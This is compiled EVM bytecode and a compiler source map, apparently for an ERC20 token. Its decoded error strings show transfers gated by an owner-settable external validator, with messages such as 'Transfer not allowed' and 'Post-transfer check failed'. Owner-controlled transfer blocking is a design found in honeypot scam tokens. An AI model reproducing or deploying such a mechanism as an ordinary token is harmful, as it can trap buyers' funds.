03121561115357611152610f90565b5b5f61116084828501610fda565b91505092915050565b61117281610fb3565b82525050565b5f60208201905061118b5f830184611169565b92915050565b5f80604083850312156111a7576111a6610f90565b5b5f6111b485828601610fda565b92505060206111c585828601610fda565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061121357607f821691505b602082108103611226576112256111cf565b5b50919050565b7f5472616e73666572206e6f7420616c6c6f7765640000000000000000000000005f82015250565b5f611260601483610f0a565b915061126b8261122c565b602082019050919050565b5f6020820190508181035f83015261128d81611254565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6112cb82610fee565b91506112d683610fee565b92508282039050818111156112ee576112ed611294565b5b92915050565b7f506f73742d7472616e7366657220636865636b206661696c65640000000000005f82015250565b5f611328601a83610f0a565b9150611333826112f4565b602082019050919050565b5f6020820190508181035f8301526113558161131c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611390602083610f0a565b915061139b8261135c565b602082019050919050565b5f6020820190508181035f8301526113bd81611384565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61141e602483610f0a565b9150611429826113c4565b604082019050919050565b5f6020820190508181035f83015261144b81611412565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6114ac602283610f0a565b91506114b782611452565b604082019050919050565b5f6020820190508181035f8301526114d9816114a0565b9050919050565b5f819050919050565b5f819050919050565b5f61150c611507611502846114e0565b6114e9565b61110a565b9050919050565b61151c816114f2565b82525050565b5f60a0820190506115355f830188611169565b6115426020830187611169565b61154f6040830186611169565b61155c6060830185611092565b6115696080830184611513565b9695505050505050565b5f81519050919050565b5f81905092915050565b5f61159182611573565b61159b818561157d565b93506115ab818560208601610f1a565b80840191505092915050565b5f6115c28284611587565b915081905092915050565b7f56616c696461746f722063616c6c206661696c656400000000000000000000005f82015250565b5f611601601583610f0a565b915061160c826115cd565b602082019050919050565b5f6020820190508181035f83015261162e816115f5565b9050919050565b61163e8161105f565b8114611648575f80fd5b50565b5f8151905061165981611635565b92915050565b5f6020828403121561167457611673610f90565b5b5f6116818482850161164b565b91505092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6116e4602583610f0a565b91506116ef8261168a565b604082019050919050565b5f6020820190508181035f830152611711816116d8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611772602383610f0a565b915061177d82611718565b604082019050919050565b5f6020820190508181035f83015261179f81611766565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611800602683610f0a565b915061180b826117a6565b604082019050919050565b5f6020820190508181035f83015261182d816117f4565b9050919050565b5f61183e82610fee565b915061184983610fee565b925082820190508082111561186157611860611294565b5b92915050565b5f819050919050565b5f61188a61188561188084611867565b6114e9565b61110a565b9050919050565b61189a81611870565b82525050565b5f60a0820190506118b35f830188611169565b6118c06020830187611169565b6118cd6040830186611169565b6118da6060830185611092565b6118e76080830184611891565b969550505050505056fea26469706673582212203503e6537f3e09a041ca4e18d0f7a6f45549267bd9233b60da7908276f84110364736f6c634300081a0033

60:4052:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;87:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1412:160;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;167:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1580:416;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;139:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;261:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3833:105;;;:::i;:::-;;200:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;112;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1069:335;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3946:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;312:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;87:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1412:160::-;1479:12;1504:38;1513:10;1525:8;1535:6;1504:8;:38::i;:::-;1560:4;1553:11;;1412:160;;;;:::o;167:26::-;;;;:::o;1580:416::-;1662:12;1695:40;1716:5;1723:3;1728:6;1695:20;:40::i;:::-;1687:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1771:29;1781:5;1788:3;1793:6;1771:9;:29::i;:::-;1811:66;1820:5;1827:10;1870:6;1839:9;:16;1849:5;1839:16;;;;;;;;;;;;;;;:28;1856:10;1839:28;;;;;;;;;;;;;;;;:37;;;;:::i;:::-;1811:8;:66::i;:::-;1896:39;1916:5;1923:3;1928:6;1896:19;:39::i;:::-;1888:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;1984:4;1977:11;;1580:416;;;;;:::o;139:21::-;;;;;;;;;;;;;:::o;261:44::-;;;;;;;;;;;;;;;;;:::o;3833:105::-;3758:10;3749:19;;:5;;;;;;;;;;;:19;;;3741:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3900:30:::1;3927:1;3900:18;:30::i;:::-;3833:105::o:0;200:20::-;;;;;;;;;;;;;:::o;112:::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1069:335::-;1132:12;1165:45;1186:10;1198:3;1203:6;1165:20;:45::i;:::-;1157:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;1246:34;1256:10;1268:3;1273:6;1246:9;:34::i;:::-;1299:44;1319:10;1331:3;1336:6;1299:19;:44::i;:::-;1291:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;1392:4;1385:11;;1069:335;;;;:::o;3946:161::-;3758:10;3749:19;;:5;;;;;;;;;;;:19;;;3741:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4063:8:::1;4035:37;;4056:5;;;;;;;;;;;4035:37;;;;;;;;;;;;4091:8;4083:5;;:16;;;;;;;;;;;;;;;;;;3946:161:::0;:::o;312:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2522:342::-;2636:1;2618:20;;:6;:20;;;2610:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;2718:1;2698:22;;:8;:22;;;2690:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;2800:6;2770:9;:17;2780:6;2770:17;;;;;;;;;;;;;;;:27;2788:8;2770:27;;;;;;;;;;;;;;;:36;;;;2839:8;2822:34;;2831:6;2822:34;;;2849:6;2822:34;;;;;;:::i;:::-;;;;;;;;2522:342;;;:::o;2872:411::-;2965:4;2983:12;2997:17;3018:9;;;;;;;;;;;:14;;3140:4;3147:5;3154:3;3159:7;3168:1;3047:123;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3018:163;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2982:199;;;;3200:7;3192:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;3262:4;3251:24;;;;;;;;;;;;:::i;:::-;3244:31;;;;2872:411;;;;;:::o;2004:510::-;2087:24;2114:6;2087:33;;2158:1;2141:19;;:5;:19;;;2133:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;2236:1;2221:17;;:3;:17;;;2213:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;2317:6;2297:9;:16;2307:5;2297:16;;;;;;;;;;;;;;;;:26;;2289:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;2399:6;2379:9;:16;2389:5;2379:16;;;;;;;;;;;;;;;;:26;;;;;;;:::i;:::-;;;;;;;;2434:16;2416:9;:14;2426:3;2416:14;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;2484:3;2468:38;;2477:5;2468:38;;;2489:16;2468:38;;;;;;:::i;:::-;;;;;;;;2076:438;2004:510;;;:::o;3291:410::-;3383:4;3401:12;3415:17;3436:9;;;;;;;;;;;:14;;3558:4;3565:5;3572:3;3577:7;3586:1;3465:123;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3436:163;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3400:199;;;;3618:7;3610:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;3680:4;3669:24;;;;;;;;;;;;:::i;:::-;3662:31;;;;3291:410;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:180::-;5961:77;5958:1;5951:88;6058:4;6055:1;6048:15;6082:4;6079:1;6072:15;6099:320;6143:6;6180:1;6174:4;6170:12;6160:22;;6227:1;6221:4;6217:12;6248:18;6238:81;;6304:4;6296:6;6292:17;6282:27;;6238:81;6366:2;6358:6;6355:14;6335:18;6332:38;6329:84;;6385:18;;:::i;:::-;6329:84;6150:269;6099:320;;;:::o;6425:170::-;6565:22;6561:1;6553:6;6549:14;6542:46;6425:170;:::o;6601:366::-;6743:3;6764:67;6828:2;6823:3;6764:67;:::i;:::-;6757:74;;6840:93;6929:3;6840:93;:::i;:::-;6958:2;6953:3;6949:12;6942:19;;6601:366;;;:::o;6973:419::-;7139:4;7177:2;7166:9;7162:18;7154:26;;7226:9;7220:4;7216:20;7212:1;7201:9;7197:17;7190:47;7254:131;7380:4;7254:131;:::i;:::-;7246:139;;6973:419;;;:::o;7398:180::-;7446:77;7443:1;7436:88;7543:4;7540:1;7533:15;7567:4;7564:1;7557:15;7584:194;7624:4;7644:20;7662:1;7644:20;:::i;:::-;7639:25;;7678:20;7696:1;7678:20;:::i;:::-;7673:25;;7722:1;7719;7715:9;7707:17;;7746:1;7740:4;7737:11;7734:37;;;7751:18;;:::i;:::-;7734:37;7584:194;;;;:::o;7784:176::-;7924:28;7920:1;7912:6;7908:14;7901:52;7784:176;:::o;7966:366::-;8108:3;8129:67;8193:2;8188:3;8129:67;:::i;:::-;8122:74;;8205:93;8294:3;8205:93;:::i;:::-;8323:2;8318:3;8314:12;8307:19;;7966:366;;;:::o;8338:419::-;8504:4;8542:2;8531:9;8527:18;8519:26;;8591:9;8585:4;8581:20;8577:1;8566:9;8562:17;8555:47;8619:131;8745:4;8619:131;:::i;:::-;8611:139;;8338:419;;;:::o;8763:182::-;8903:34;8899:1;8891:6;8887:14;8880:58;8763:182;:::o;8951:366::-;9093:3;9114:67;9178:2;9173:3;9114:67;:::i;:::-;9107:74;;9190:93;9279:3;9190:93;:::i;:::-;9308:2;9303:3;9299:12;9292:19;;8951:366;;;:::o;9323:419::-;9489:4;9527:2;9516:9;9512:18;9504:26;;9576:9;9570:4;9566:20;9562:1;9551:9;9547:17;9540:47;9604:131;9730:4;9604:131;:::i;:::-;9596:139;;9323:419;;;:::o;9748:223::-;9888:34;9884:1;9876:6;9872:14;9865:58;9957:6;9952:2;9944:6;9940:15;9933:31;9748:223;:::o;9977:366::-;10119:3;10140:67;10204:2;10199:3;10140:67;:::i;:::-;10133:74;;10216:93;10305:3;10216:93;:::i;:::-;10334:2;10329:3;10325:12;10318:19;;9977:366;;;:::o;10349:419::-;10515:4;10553:2;10542:9;10538:18;10530:26;;10602:9;10596:4;10592:20;10588:1;10577:9;10573:17;10566:47;10630:131;10756:4;10630:131;:::i;:::-;10622:139;;10349:419;;;:::o;10774:221::-;10914:34;10910:1;10902:6;10898:14;10891:58;10983:4;10978:2;10970:6;10966:15;10959:29;10774:221;:::o;11001:366::-;11143:3;11164:67;11228:2;11223:3;11164:67;:::i;:::-;11157:74;;11240:93;11329:3;11240:93;:::i;:::-;11358:2;11353:3;11349:12;11342:19;;11001:366;;;:::o;11373:419::-;11539:4;11577:2;11566:9;11562:18;11554:26;;11626:9;11620:4;11616:20;11612:1;11601:9;11597:17;11590:47;11654:131;11780:4;11654:131;:::i;:::-;11646:139;;11373:419;;;:::o;11798:85::-;11843:7;11872:5;11861:16;;11798:85;;;:::o;11889:60::-;11917:3;11938:5;11931:12;;11889:60;;;:::o;11955:154::-;12011:9;12044:59;12060:42;12069:32;12095:5;12069:32;:::i;:::-;12060:42;:::i;:::-;12044:59;:::i;:::-;12031:72;;11955:154;;;:::o;12115:143::-;12208:43;12245:5;12208:43;:::i;:::-;12203:3;12196:56;12115:143;;:::o;12264:676::-;12475:4;12513:3;12502:9;12498:19;12490:27;;12527:71;12595:1;12584:9;12580:17;12571:6;12527:71;:::i;:::-;12608:72;12676:2;12665:9;12661:18;12652:6;12608:72;:::i;:::-;12690;12758:2;12747:9;12743:18;12734:6;12690:72;:::i;:::-;12772;12840:2;12829:9;12825:18;12816:6;12772:72;:::i;:::-;12854:79;12928:3;12917:9;12913:19;12904:6;12854:79;:::i;:::-;12264:676;;;;;;;;:::o;12946:98::-;12997:6;13031:5;13025:12;13015:22;;12946:98;;;:::o;13050:147::-;13151:11;13188:3;13173:18;;13050:147;;;;:::o;13203:386::-;13307:3;13335:38;13367:5;13335:38;:::i;:::-;13389:88;13470:6;13465:3;13389:88;:::i;:::-;13382:95;;13486:65;13544:6;13539:3;13532:4;13525:5;13521:16;13486:65;:::i;:::-;13576:6;13571:3;13567:16;13560:23;;13311:278;13203:386;;;;:::o;13595:271::-;13725:3;13747:93;13836:3;13827:6;13747:93;:::i;:::-;13740:100;;13857:3;13850:10;;13595:271;;;;:::o;13872:171::-;14012:23;14008:1;14000:6;13996:14;13989:47;13872:171;:::o;14049:366::-;14191:3;14212:67;14276:2;14271:3;14212:67;:::i;:::-;14205:74;;14288:93;14377:3;14288:93;:::i;:::-;14406:2;14401:3;14397:12;14390:19;;14049:366;;;:::o;14421:419::-;14587:4;14625:2;14614:9;14610:18;14602:26;;14674:9;14668:4;14664:20;14660:1;14649:9;14645:17;14638:47;14702:131;14828:4;14702:131;:::i;:::-;14694:139;;14421:419;;;:::o;14846:116::-;14916:21;14931:5;14916:21;:::i;:::-;14909:5;14906:32;14896:60;;14952:1;14949;14942:12;14896:60;14846:116;:::o;14968:137::-;15022:5;15053:6;15047:13;15038:22;;15069:30;15093:5;15069:30;:::i;:::-;14968:137;;;;:::o;15111:345::-;15178:6;15227:2;15215:9;15206:7;15202:23;15198:32;15195:119;;;15233:79;;:::i;:::-;15195:119;15353:1;15378:61;15431:7;15422:6;15411:9;15407:22;15378:61;:::i;:::-;15368:71;;15324:125;15111:345;;;;:::o;15462:224::-;15602:34;15598:1;15590:6;15586:14;15579:58;15671:7;15666:2;15658:6;15654:15;15647:32;15462:224;:::o;15692:366::-;15834:3;15855:67;15919:2;15914:3;15855:67;:::i;:::-;15848:74;;15931:93;16020:3;15931:93;:::i;:::-;16049:2;16044:3;16040:12;16033:19;;15692:366;;;:::o;16064:419::-;16230:4;16268:2;16257:9;16253:18;16245:26;;16317:9;16311:4;16307:20;16303:1;16292:9;16288:17;16281:47;16345:131;16471:4;16345:131;:::i;:::-;16337:139;;16064:419;;;:::o;16489:222::-;16629:34;16625:1;16617:6;16613:14;16606:58;16698:5;16693:2;16685:6;16681:15;16674:30;16489:222;:::o;16717:366::-;16859:3;16880:67;16944:2;16939:3;16880:67;:::i;:::-;16873:74;;16956:93;17045:3;16956:93;:::i;:::-;17074:2;17069:3;17065:12;17058:19;;16717:366;;;:::o;17089:419::-;17255:4;17293:2;17282:9;17278:18;17270:26;;17342:9;17336:4;17332:20;17328:1;17317:9;17313:17;17306:47;17370:131;17496:4;17370:131;:::i;:::-;17362:139;;17089:419;;;:::o;17514:225::-;17654:34;17650:1;17642:6;17638:14;17631:58;17723:8;17718:2;17710:6;17706:15;17699:33;17514:225;:::o;17745:366::-;17887:3;17908:67;17972:2;17967:3;17908:67;:::i;:::-;17901:74;;17984:93;18073:3;17984:93;:::i;:::-;18102:2;18097:3;18093:12;18086:19;;17745:366;;;:::o;18117:419::-;18283:4;18321:2;18310:9;18306:18;18298:26;;18370:9;18364:4;18360:20;18356:1;18345:9;18341:17;18334:47;18398:131;18524:4;18398:131;:::i;:::-;18390:139;;18117:419;;;:::o;18542:191::-;18582:3;18601:20;18619:1;18601:20;:::i;:::-;18596:25;;18635:20;18653:1;18635:20;:::i;:::-;18630:25;;18678:1;18675;18671:9;18664:16;;18699:3;18696:1;18693:10;18690:36;;;18706:18;;:::i;:::-;18690:36;18542:191;;;;:::o;18739:85::-;18784:7;18813:5;18802:16;;18739:85;;;:::o;18830:154::-;18886:9;18919:59;18935:42;18944:32;18970:5;18944:32;:::i;:::-;18935:42;:::i;:::-;18919:59;:::i;:::-;18906:72;;18830:154;;;:::o;18990:143::-;19083:43;19120:5;19083:43;:::i;:::-;19078:3;19071:56;18990:143;;:::o;19139:676::-;19350:4;19388:3;19377:9;19373:19;19365:27;;19402:71;19470:1;19459:9;19455:17;19446:6;19402:71;:::i;:::-;19483:72;19551:2;19540:9;19536:18;19527:6;19483:72;:::i;:::-;19565;19633:2;19622:9;19618:18;19609:6;19565:72;:::i;:::-;19647;19715:2;19704:9;19700:18;19691:6;19647:72;:::i;:::-;19729:79;19803:3;19792:9;19788:19;19779:6;19729:79;:::i;:::-;19139:676;;;;;;;;:::o

ipfs://3503e6537f3e09a041ca4e18d0f7a6f45549267bd9233b60da7908276f841103